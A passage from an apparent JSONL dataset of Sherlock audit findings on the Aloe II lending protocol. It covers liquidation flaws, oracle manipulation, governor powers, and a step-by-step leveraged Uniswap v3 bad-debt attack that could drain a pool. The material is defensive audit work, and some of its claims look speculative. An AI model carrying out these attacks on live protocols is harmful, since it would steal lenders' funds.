to pay back to the lender. But if both liabilities are non-zero after repayment from the balances, nothing is swapped, whatever can be repaid is repaid and the remaining bad debt borrows is left untouched. The problem is that these left borrows will keep accruing more interest in Lender's accounting and will lead to an increased bad debt. \n\n## Vulnerability Detail\nBorrower.sol Line 252 is meant to swap only if one asset is surplus and one is in shortfall. But the checks above that state that if liabilities0 and liabilities1 are non-zero nothing more can be done. If a a borrower account ever arrives in such a situation, then the remaining unpaid borrow amounts will be left as it is in the Lender's accounting and keep accruing more and more interest forever. \nInstead, the bad debt should be absorbed into the pool then and there and the accounting updated to make the pending borrows zero(which means shares are going to be diluted a little bit but think about the scenario if many such big positions are hanging in the borrows and accruing interest continuously, eventually the losses to lenders will be higher) and the borrower blacklisted for just this case. \n\n## Impact\nLenders continuously accrue losses in the form of bad debt for positions that have no left collateral and the borrower will never pay back that debt because he will lose money. Thus, if many such positions exist, the total borrows will keep growing that have no backing collateral, causing a risk of some of the lenders not being able to withdraw in the future because of this pending borrow amount.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Borrower.sol#L241\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIn the liquidate function, if both liabilities0 and liabilities1 are non-zero, close the position and absorb bad debt into the lender contracts' accounting and blacklist the borrower.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//024-H/104-best.md"}} +{"title":"Liquidator with high `strain` will liquidate the account fully if no assets swap is required, but will only get the bonus equal to `1/strain` ETH","severity":"medium","body":"Loud Cloud Salamander\n\nmedium\n\n# Liquidator with high `strain` will liquidate the account fully if no assets swap is required, but will only get the bonus equal to `1/strain` ETH\n## Summary\n\n`liquidate` function has `strain` parameter, which specifies the ratio (`1/strain`) of the position to be liquidated. This parameter is only used if liquidator has to swap some assets. However, if removing uniswap liquidity and repaying the debt is enough (no swap required from liquidator), liquidator will still get the `1/strain` bonus ETH even though he has fully finished the account liquidation.\n\n## Vulnerability Detail\n\n`Borrower.liquidate` sends the ETH bonus to liquidator divided by strain regardless of whether it was used or not:\n```solidity\npayable(callee).transfer(address(this).balance / strain);\n```\n\n## Impact\n\nIf the liquidation has finished completely (account is healthy again), liquidator will get smaller amount than he should (he should get full bonus since he has completed liquidation - regardless of strain parameter, but he will get bonus / strain instead).\n\n## Code Snippet\n\n`Borrower.liquidate` send ETH bonus to liquidator divided by strain:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider verifying if account is healthy after liquidation and send full ETH bonus to liquidator if it's healthy (which is logical, since the liquidator has acomplished its task fully).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//023-M/030-best.md"}} +{"title":"An attacker could manipulate prices in only one of the intervals [-2w,-w] or [-w,0] and potentially avoid detection by the metric.","severity":"major","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# An attacker could manipulate prices in only one of the intervals [-2w,-w] or [-w,0] and potentially avoid detection by the metric.\n## Summary\nThe metric calculation assumes manipulation impacts both intervals [-2w,-w] and [-w,0] equally. An attacker could focus on only one interval. \n## Vulnerability Detail\nAn attacker could manipulate prices in only one of the intervals [-2w,-w] or [-w,0] and potentially avoid detection by the metric.\nHere is how it works:\nThe metric relies on taking the difference between the mean ticks in these two intervals:\n\n // Compute arithmetic mean tick over the interval [-2w, 0) \n int256 meanTick0To2W = (tickCumulatives[2] - tickCumulatives[0]) / int32(UNISWAP_AVG_WINDOW * 2);\n\n // Compute arithmetic mean tick over the interval [-2w, -w]\n int256 meanTickWTo2W = (tickCumulatives[1] - tickCumulatives[0]) / int32(UNISWAP_AVG_WINDOW); \n\n metric = uint56(SoladyMath.dist(meanTick0To2W, meanTickWTo2W));\n\nIf an attacker only manipulates prices in one interval, say [-w,0], the mean for that interval (meanTick0ToW) will be impacted but the mean for [-2w,-w] (meanTickWTo2W) will stay unchanged.\nSo the difference and metric may remain small and not indicate manipulation, even though prices are manipulated in [-w,0].\nThe impact is that the metric could fail to detect price manipulation that is occurring.\n\n## Impact\nThe vulnerability of an attacker only manipulating prices in one of the intervals [-2w,-w] or [-w,0] is that the manipulation metric may not detect the manipulation.\nThe metric relies on taking the difference between the mean ticks in these two intervals. If an attacker only manipulates prices in one interval, the difference and hence the metric may be low and not indicate manipulation, even though prices are being manipulated.\nThe severity of this is high. It means the metric designed to detect manipulation could fail to do so. This allows an attacker to manipulate prices without being detected.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Oracle.sol#L98-L100\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Oracle.sol#L135\n## Tool used\n\nManual Review\n\n## Recommendation\nThe contract could compute additional metrics over more time intervals. A suggestive idea:\n\n // Additional metrics\n\n int256 meanTick0ToW = (tickCumulatives[2] - tickCumulatives[1]) / UNISWAP_AVG_WINDOW; \n\n int256 meanTickWToW = tickCumulatives[1] / UNISWAP_AVG_WINDOW;\n\n uint56 metric1 = SoladyMath.dist(meanTick0ToW, meanTickWToW); \n\n uint56 metric2 = SoladyMath.dist(meanTick0To2W, meanTick0ToW);\n\n // Monitor all metrics over time for large deviations\n\nThis makes it harder for an attacker to manipulate only one interval without detection. The key is to compute and monitor multiple metrics across different time intervals to improve robustness of manipulation detection.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//022-H/117-best.md"}} +{"title":"Bad Debt Attack Can Enitrely Drain Lending Pool When Leverage is Allowed On Uniswap v3 Positions","severity":"major","body":"Warm Orange Dragon\n\nhigh\n\n# Bad Debt Attack Can Enitrely Drain Lending Pool When Leverage is Allowed On Uniswap v3 Positions\n## Summary\n\nSystems that allow leverage on Uniswap v3 are vulnerable to a bad debt attack which involves creating bad debt in an LP position with corresponding profits in a seperate trading account.\n\n## Vulnerability Detail\n\nThe attack is as follows:\n\n- ETH is at $1000 USDC\n- In TRADING_ACCOUNT, attacker makes a market order to manipulate price of the ETH-USDC pool to $2001\n- In BORROW_ACCOUNT, attacker uses $100k to collateralize a $1M USDC borrow at 90% LTV, and directs that into a single tick liquidity position which is at the both lower and upper tick are around ETH Price of $2000\n- TRADING_ACCOUNT sells $1M USDC into the tick of liquidity provided by `BORROW_ACCOUNT`\n- When the price returns to the fair price, the BORROW_ACCOUNT has made a $500k loss (it bought $1M of ETH at 2x the fair price), but only $100k of collateral, which is $400k of bad debt\n- The TRADING_ACCOUNT has made $500k profit.\n- The attacker would not be able to withdraw the $100k of collateral that he deposited into BORROW_ACCOUNT as it now has negative account balance. However he still has $400k of profits minus the cost of manipulating the Uniswap pool.\n- \nThis type of attack was previously reported as a Critical Bug Bounty to Perpetual Protocol on ImmuneFi, where it was confirmed as valid: https://securitybandit.com/2023/02/07/bad-debt-attack-for-perpetual-protocol/\n\nThat report was for a Perpetual Swap Exchange built on top of Uniswap V3, which is not the exact same type of protocol as Aloe. However Aloe's shares the core elements which makes the attack possible:\n\n1. Leverage on top of Uniswap v3 positions\n2. No price bands\n\nWithout leverage, this attack cannot be profitable, as even with pool manipulation followed by a deposit of liquidity, all trading profits would be cancelled out by corresponding losses in another account. This also holds true when leverage is added, but the losses can be absorbed in a leveraged account which ends up with negative account balance.\n\nPrice bands are elaborated on in the \"recommendations section\" Note that the manipulation price in the example exceeds the \"probe prices\" which are implemented in Aloe, and Aloe allows liquidity to be added far beyond these prices, which is part of what enables this attack.\n\nNote, the mechanism which detects TWAP Oracle manipulation will not trigger in this case, as the TWAP Oracle does not have to be manipulated in this case, only the Uniswap Price at the current block.\n\n## Impact\n\nLending pool can be entirely drained by malicious borrower\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L216-L241\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd price bands:\n\nPrice bands are restrictions that stop trading from happening in leveraged defi protocols when the current trading price differs significantly from oracle price. These are implemented in CLOB perpetual exchanges, for example. After the linked bug was reported to perpetual protocol, they implemented a similar fix to price bands that applies to Uniswap V3. This can be seen in their [limits and caps page in Perpetual Protocol](https://support.perp.com/hc/en-us/articles/5331437456153-Limits-Caps) :\n\n_\"You will not be able to add liquidity when the spread between mark and index prices exceeds ±20%. Limit does not affect removing liquidity.\"_\n\nSince LP's are similar to makers, this fix is analogous to a price band which prevents the adding of maker orders at certain prices which could cause bad debt when the last trading price diverges significantly from the oracle price. In Aloe's case, the price bands should be implemented when the Uniswap v3 `slot0` price (current block) exceeds the TWAP derived probe prices.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//021-H/046-best.md"}} +{"title":"The omission of Uniswap position fees from a user's assets can result in a premature liquidation","severity":"medium","body":"Dapper Concrete Porcupine\n\nhigh\n\n# The omission of Uniswap position fees from a user's assets can result in a premature liquidation\n## Summary\n\nUsers with inadequate collateral in their Borrower contract to cover their loans will face premature liquidation due to the omission of their accrued Uniswap fees from consideration.\n\n## Vulnerability Detail\n\nUsers must have sufficient collateral, which can be in the form of token reserves or positions in the Uniswap pool market, to cover their loans when using their Borrower contract.\n\nThe problem arises because accrued fees are not considered in the asset calculation of users. Specifically, when assessing assets, only the provided liquidity in the pool is added, while the fees are overlooked. This oversight is reflected in the following code snippet:\n\n```solidity\nfunction _getAssets(uint256 slot0_, Prices memory prices, bool withdraw) private returns (Assets memory assets) {\n\t// ...\n\tunchecked {\n\t\tfor (uint256 i; i < count; i += 2) {\n\t\t// ...\n\t\tint24 l = positions[i];\n\t\tint24 u = positions[i + 1];\n\n\t\t// @audit only the provided liquidity in the pool gets added as a part of the assets of the user, and not the fees as well.\n\t\t(uint128 liquidity, , , , ) = UNISWAP_POOL.positions(keccak256(abi.encodePacked(address(this), l, u)));\n\n\t\t(uint256 amount0, uint256 amount1) = LiquidityAmounts.getAmountsForLiquidity(prices.c, L, U, liquidity);\n\n\t\t// ...\n\t}\n\t// ...\n}\n\n```\n\nFurthermore, when a user is liquidated, their Uniswap positions are burned, and their fees are collected but not considered in the liquidation process. As a result, these fees effectively go to the liquidator, resulting in their misappropriation.\n\n## Impact\n\nUsers who lack sufficient assets in their Borrower contract but have accumulated ample fees on their Uniswap positions to maintain financial health will face premature liquidation, resulting in the loss of their collateral.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L194\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L490-L525\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L515-L517\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider claiming and accounting for the user's fees before evaluating their liquidation eligibility.\n\n```solidity\nfunction _getAssets(uint256 slot0_, Prices memory prices, bool withdraw) private returns (Assets memory assets) {\n\t// ...\n\tunchecked {\n\t\tfor (uint256 i; i < count; i += 2) {\n\t\t// ...\n\t\tint24 l = positions[i];\n\t\tint24 u = positions[i + 1];\n\t\t\n\t\t(uint128 liquidity, , , , ) = UNISWAP_POOL.positions(keccak256(abi.encodePacked(address(this), l, u)));\n\t\t\n\t\t(uint256 amount0, uint256 amount1) = LiquidityAmounts.getAmountsForLiquidity(prices.c, L, U, liquidity);\n\n\t\t// @audit to re-calculate the fees owed to the user:\n\t\t(burned0, burned1) = UNISWAP_POOL.burn(l, u, 0);\n // @audit collecting the fees\n\t\t(collected0, collected1) = UNISWAP_POOL.collect(recipient, lower, upper, type(uint128).max, type(uint128).max);\n\t\t\n\t\t// @audit adding the fees to the asset balance of the user, which might prevent them from being prematurely liquidated:\n\t\tassets.fluid0C += amount0 + collected0;\n assets.fluid1C += amount1 + collected1;\n\t\t// ... \n\t}\n\t// ...\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//020-M/127.md"}} +{"title":"Liquidation doesn't consider uniswap fees, so wrong incentive can be calculated","severity":"medium","body":"Bent Orchid Barbel\n\nmedium\n\n# Liquidation doesn't consider uniswap fees, so wrong incentive can be calculated\n## Summary\nLiquidation doesn't consider uniswap fees, so wrong incentive can be calculated\n## Vulnerability Detail\nWhen liquidation is called, then first [there is a check that account is not healthy](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L221).\n\nAlso, liquidator [incentive is calculated](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L213-L219). It depends [on liabilities](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L216-L217)(amounts that borrower owns to lenders) and [assets inside borrower contract and inside uniswap positions that borrower holds](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L214-L215).\n\n`assets.fixed0` and `assets.fixed1` [is just amount of assets that contract holds at the moment](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L491-L492). While `assets.fluid0C` and `assets.fluid1C` is [amount of token0 and token1 that borrower's uniswap positions hold](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L515-L517).\n\nPls, note that uniswap LPs also earn fee for the liquidity that they provide. And this fee is not considered in these calculations.\nAnother point, that we need to note is that when liquidate is called, then [we withdraw everything from uniswap](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L209C63-L209C67), so [fees are withdrawn as well](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L542-L543).\n\nSo now we are ready to check how incentive is calculated. This function [just calculates amount that user doesn't have](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/BalanceSheet.sol#L133-L147) in order to cover all liabilities.\n\nBecause `assets.fluid0C` and `assets.fluid1C` doesn't contains fees that means that bigger incentive can be calculated for liquidator. In case if borrower had those positions for a long time(and depending on position sizes), then this fee amount can be big enough to make a loss for borrower.\n## Impact\nBorrower pays more fees then he should.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nAs it's done after liquidity withdraw you can calculate it like this.\n```solidity\nincentive1 = BalanceSheet.computeLiquidationIncentive(\n TOKEN0.balanceOf(address(this))\n TOKEN1.balanceOf(address(this))\n liabilities0,\n liabilities1,\n priceX128\n );\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//020-M/071-best.md"}} +{"title":"governor can permanently prevent withdrawals in spite of being restricted","severity":"medium","body":"Slow Indigo Woodpecker\n\nmedium\n\n# governor can permanently prevent withdrawals in spite of being restricted\n## Summary\nAccording to the Contest README (which is the highest order source of truth), the `governor` address should be restricted and not be able to prevent withdrawals from the `Lender`s. \n\nThis doesn't hold true. By setting the interest rate that the borrowers have to pay to zero, the `governor` can effectively prevent withdrawals. \n\n## Vulnerability Detail\nQuoting from the Contest README: \n```text\nIs the admin/owner of the protocol/contracts TRUSTED or RESTRICTED?\n\nRestricted. The governor address should not be able to steal funds or prevent users from withdrawing. It does have access to the govern methods in Factory, and it could trigger liquidations by increasing nSigma. We consider this an acceptable risk, and the governor itself will have a timelock.\n```\n\nThe mechanism by which users are ensured that they can withdraw their funds is the interest rate which increases with utilization. \n\nMarket forces will keep the utilization in balance such that when users want to withdraw their funds from the `Lender` contracts, the interest rate increases and `Borrower`s pay back their loans (or get liquidated). \n\nWhat the `governor` is allowed to do is to set a interest rate model via the [`Factory.governMarketConfig`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Factory.sol#L282-L303) function. \n\nThe `SafeRateLib` is used to safely call the `RateModel` by e.g. handling the case when the call to the `RateModel` reverts and limiting the interest to a `MAX_RATE`: https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/RateModel.sol#L38-L60. \n\nThis clearly shows that the `governor` should be very much restricted in setting the `RateModel` such as to not damage users of the protocol which is in line with how the `governor` role is described in the README. \n\nHowever the interest rate can be set to zero even if the utilization is very high. If `Borrower`s can borrow funds for a zero interest rate, they will never pay back their loans. This means that users in the `Lender`s will never be able to withdraw their funds. \n\nIt is also noteworthy that the timelock that the governor uses won't be able to prevent this scenario since even if users withdraw their funds as quickly as possible, there will probably not be enough time / availability of funds for everyone to withdraw in time (assuming a realistic timelock length). \n\n## Impact\nThe `governor` is able to permanently prevent withdrawals from the `Lender`s which it should not be able to do according to the contest README. \n\n## Code Snippet\nFunction to set the rate model: \nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Factory.sol#L282-L303\n\n`SafeRateLib` allows for a zero interest rate: \nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/RateModel.sol#L38-L60\n\n## Tool used\nManual Review\n\n## Recommendation\nThe `SafeRateLib` should ensure that as the utilization approaches `1e18` (100%), the interest rate cannot be below a certain minimum value.\n\nThis ensures that even if the `governor` behaves maliciously or uses a broken `RateModel`, `Borrower`s will never borrow all funds without paying them back.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//019-M/035-best.md"}} +{"title":"Governor could prevent users from claiming rewards by setting a token address that has no code as `rewardsToken`","severity":"medium","body":"Striped Parchment Grasshopper\n\nmedium\n\n# Governor could prevent users from claiming rewards by setting a token address that has no code as `rewardsToken`\n## Summary\nFactory.governRewardsToken() does not check the code size of the token address set by the governor\n\n## Vulnerability Detail\n**Is the admin/owner of the protocol/contracts TRUSTED or RESTRICTED?**\n\nRestricted. The governor address should not be able to steal funds or prevent users from withdrawing.....\n\n checking the contest page i see that the protocol is concerned about the governor address stealing user's funds or preventing users from withdrawing.\n \n There is one way the governor could prevent users from claiming rewards.\n \n The governor could do this by setting a token address that has no code as `rewardsToken`, hence it will never be possible for users to claim rewards via Factory.claimRewards(). \n\n## Impact\nGovernor could prevent users from claiming rewards by setting a token address that has no code as `rewardsToken`\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L272\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L228\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a code existence check to Factory.governRewardsToken() to ensure the governor doesn't update `rewardsToken` with a malicious token","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//019-M/009.md"}} +{"title":"Borrower can dos liquidations","severity":"medium","body":"Bent Orchid Barbel\n\nmedium\n\n# Borrower can dos liquidations\n## Summary\nBorrower can dos liquidations by resetting warn status every time \n## Vulnerability Detail\nIn order to liquidate borrower, liquidator should call `warn` function first, which [will set time](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L171) until borrower has ability to adjust posiiton. Only [after that time](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L254) liquidator can call `liquidate` and get bonus for liquidation.\n\nBut there is one more thing: in case if swap is not needed during liquidation, [then warn check is skipped](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L252).\n\nBorrower can use such thing, together with `strain` param in order to reset `warn`.\n`strain` param is used to adjust amount that liquidator wants to swap. So [liabilities are divided by this param](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L245-L246). And later xor is used to determine if swap is needed, in case if both liabilities are 0, then no swap is needed. So borrower should provide such a `strain` params, that is bigger than `max(liabilities0, liabilities1`), so dividing will give 0 for both cases and swap will be skipped.\n\nAs result user's uniswap positions is not waithdrawn and liquidators should call `warn` again to start next 2 minute warning. On chains with cheap gas price, borrower can do this as many time as he wishes.\n## Impact\nUser can avoid being liquidated even if his position is unhealthy.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nYou can validate `strain` param, to be smth not big(as you expect that small numbers will be used). Or do not allow to call liquidate without `warn` period passed when there will be no swap.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//018-M/070-best.md"}} +{"title":"liquidation can be called even without warn","severity":"medium","body":"Bent Orchid Barbel\n\nmedium\n\n# liquidation can be called even without warn\n## Summary\nIn case if liquidation doesn't need swap, then it can be called even if `warn` was not called before.\n## Vulnerability Detail\nAs stated by `aloe` docs, in case if user's position becomes unhealthy, then he will have 2 minutes period to make it healthy again in case if he would like to avoid any losses.\n\nSo first, liquidator should call `Borrower.warn` function, which [will store time, when liquidation can be executed](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L171).\n\nIf we look into `Borrower.liquidate` implementation, then we will see, that `unleashTime` check [is only done when swap should occur](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L254). In case if no swap will occur, which can be when position still has enough funds to repay(as position can become unhealthy even if it has needed funds to cover liabilities, because of probe prices check), then `warn` will not be checked and liquidator will be able to execute `liquidate` without calling `warn` first. \n\nBecause of that user will not be able to adjust position(as he expects to catch `Warn` event) and liquidator [will get all his eth balance](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283) as `strain` will be 1 in this case, believe me.\n## Impact\nBorrower has no time to adjust position and loses all his eth balance.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nEven if now swap occurs, still check that warn period has passed. Or at least do that in case, if user has balance to cover all liabilities and only allow to do liquidation without warn, when bad debt occured(position is insolvent).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//018-M/066.md"}} +{"title":"_previewInterest function does not check that accrualFactor is greater than 0 before using it to update borrowIndex. This is highly vulnerable","severity":"major","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# _previewInterest function does not check that accrualFactor is greater than 0 before using it to update borrowIndex. This is highly vulnerable\n## Summary\nthe _previewInterest function does not check that accrualFactor is greater than 0 before using it to update borrowIndex. This could potentially cause major vulnerabilities\n## Vulnerability Detail\nThe key lines are:\n\n uint256 accrualFactor = rateModel.getAccrualFactor({\n utilization: (1e18 * oldBorrows) / oldInventory,\n dt: block.timestamp - cache.lastAccrualTime\n });\n\n cache.borrowIndex = (cache.borrowIndex * accrualFactor) / ONE;\n\nIf accrualFactor is 0, then cache.borrowIndex will be 0 after this update. This is problematic because borrowIndex tracks the total interest growth on borrows over time. Setting it to 0 would incorrectly reset all interest accrued.\nA borrowIndex of 0 could allow borrowers to repay loans that no longer exist, creating a loss for the protocol. Or it could prevent lenders from withdrawing the full value of their deposits.\n\nTo buttress more point:\n\nSpecifically, if rateModel.getAccrualFactor were to return 0, it would cause borrowIndex to be set to 0 in the line:\n\n cache.borrowIndex = (cache.borrowIndex * accrualFactor) / ONE;\n\nSetting borrowIndex to 0 could have negative impacts:\n• It would effectively wipe out all accumulated interest for borrowers, making their borrows worth nothing. This could benefit borrowers at the expense of lenders.\n• It could potentially enable borrowers to withdraw more assets than they deposited if their borrow balance was accumulated at a higher borrowIndex.\n\n\n## Impact\nThe vulnerability of not checking that accrualFactor is greater than 0 is that it could allow the borrowIndex to be incorrectly set to 0. This would have a high severity impact:\n• It would wipe out all accumulated interest for borrowers, making their borrows worth nothing. This would unfairly benefit borrowers at the expense of lenders.\n• It could enable borrowers to withdraw more assets than they deposited if their borrow balance was accumulated at a higher borrowIndex. This would incorrectly drain assets from the protocol.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L351-L356\n## Tool used\n\nManual Review\n\n## Recommendation\nthe code should add:\n\n require(accrualFactor > 0, \"Invalid accrual factor\");\n\nbefore updating borrowIndex.\nThis will revert the transaction if accrualFactor is invalid, preventing the borrowIndex corruption.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//017-H/107.md"}} +{"title":"_previewInterest does not properly check for a zero borrowBase leading to major vulnerabilities","severity":"major","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# _previewInterest does not properly check for a zero borrowBase leading to major vulnerabilities\n## Summary\nIf `borrowBase` is 0, then `oldBorrows` will also be 0 regardless of the value of `borrowIndex`. The `_previewInterest` function does not check that `borrowBase` is greater than 0 before calculating `oldBorrows`\n## Vulnerability Detail\n_previewInterest function does not check that borrowBase is greater than 0 before calculating oldBorrows. This could lead to unexpected behavior if borrowBase were 0.\nHere is the relevant code:\n\n function _previewInterest(Cache memory cache) internal view returns (Cache memory, uint256, uint256) {\n\n // ...\n\n uint256 oldBorrows = (cache.borrowBase * cache.borrowIndex) / BORROWS_SCALER;\n\n // ...\n\n }\n\nIf `borrowBase` is 0, then `oldBorrows` will also be 0 regardless of the value of `borrowIndex`. This means no interest will accrue on borrows, even if `borrowIndex` is greater than 1.\nThis could allow an attacker to manipulate interest accrual on borrows by setting `borrowBase` to 0. For example:\n1. Attacker borrows some amount when borrowBase is non-zero. This increments `borrowIndex`.\n2. Attacker exploits a vulnerability to set `borrowBase` to 0.\n3. Interest continues accruing for lenders, increasing `borrowIndex`. But borrow interest is not accruing since `oldBorrows `stays 0.\n4. Attacker can now repay their borrow for less than they should have to.\n\n## Impact\nThe major impact of not having this check is that the contract could behave unpredictably or incorrectly if `borrowBase` is somehow set to 0.\n\nSpecifically:\n\noldBorrows would be calculated as 0, even if borrowIndex > 0. This would make the utilization rate 0 and could result in incorrect interest accrual.\n`newInventory` would equal `lastBalance` instead of `lastBalance + borrows`. This could distort total assets and shares conversions.\nThe contract would be vulnerable to division by zero if borrowBase stayed 0 while `borrowIndex` increased.\nSo in summary:\n\nSeverity is high because it affects critical accounting logic.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L342\n## Tool used\n\nManual Review\n\n## Recommendation\nA require check should be added to ensure borrowBase is greater than 0:\n\n function _previewInterest(Cache memory cache) internal view returns (Cache memory, uint256, uint256) {\n\n require(cache.borrowBase > 0, \"Borrow base cannot be 0\");\n\n // ...\n\n }\n\nThis would prevent borrowBase from being manipulated to 0, ensuring borrow interest accrues properly.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//017-H/103-best.md"}} +{"title":"Computing probe prices are not suitable for stable pools","severity":"major","body":"Faint Bronze Millipede\n\nhigh\n\n# Computing probe prices are not suitable for stable pools\n## Summary\nAs docs states any uniswap pool can be used in Aloe. Stable pools which are high in tvl and also very high volatility can also be used for example USDC-USDT, DAI-USDC pools. However, the way how probe prices (price.a price.b) is computed is not suitable for these pools because the implied volatility is misunderstood in those pools. The price.an and price.b will be not realistic values for these pools and the borrowing operations are most likely to not make sense because liquidations can happen in very unrealistic priceA priceB values. \n## Vulnerability Detail\nSay we have lenders and borrowers in USDC-USDT pool in Optimism. Which almost 95% of the liquidity is pretty densely concentrated in the area of 0.9-1.1. Now, let's calculate what would be the price.a and price.b for this pool given a random time we will test them with one with using oracle prepare and update and one without the oracle prepare and update here the results:\n\nWe will run those two tests:\n\nDefault, means that we prepared the oracle and updated. Volatility oracle is ON\n```solidity\nfunction testDefault() public {\n address dummy = address(31);\n\n uint256 count = pools.length - 1;\n\n IUniswapV3Pool pool = IUniswapV3Pool(pools[count]);\n\n vm.startPrank(dummy);\n oracle.prepare(pool);\n oracle.update(pool, (1 << 32));\n vm.stopPrank();\n\n (uint56 metric, uint160 price, uint256 iv) = oracle.consult(pool, (1 << 32));\n\n console.log(\"Metric\", metric);\n console.log(\"Price\", price);\n console.log(\"iv\", iv);\n\n uint8 nSigma = 50;\n uint8 manipulationThresholdDivisor = 12;\n\n (uint160 a, uint160 b, bool seemsLegit) = BalanceSheet.computeProbePrices(\n uint56(metric),\n uint256(price),\n uint256(iv),\n nSigma,\n manipulationThresholdDivisor\n );\n\n console.log(\"Price A\", a);\n console.log(\"Price B\", b);\n console.log(\"seemsLegit?\", seemsLegit);\n\n // assertGt(metric, 0);\n // assertGt(price, 0);\n // assertEqDecimal(iv, 0, 12);\n }\n```\n\nVolatility oracle is not used, Volatility oracle is OFF:\n```solidity\nfunction testWithoutOraclePrepareAndUpdate() public {\n address dummy = address(31);\n\n 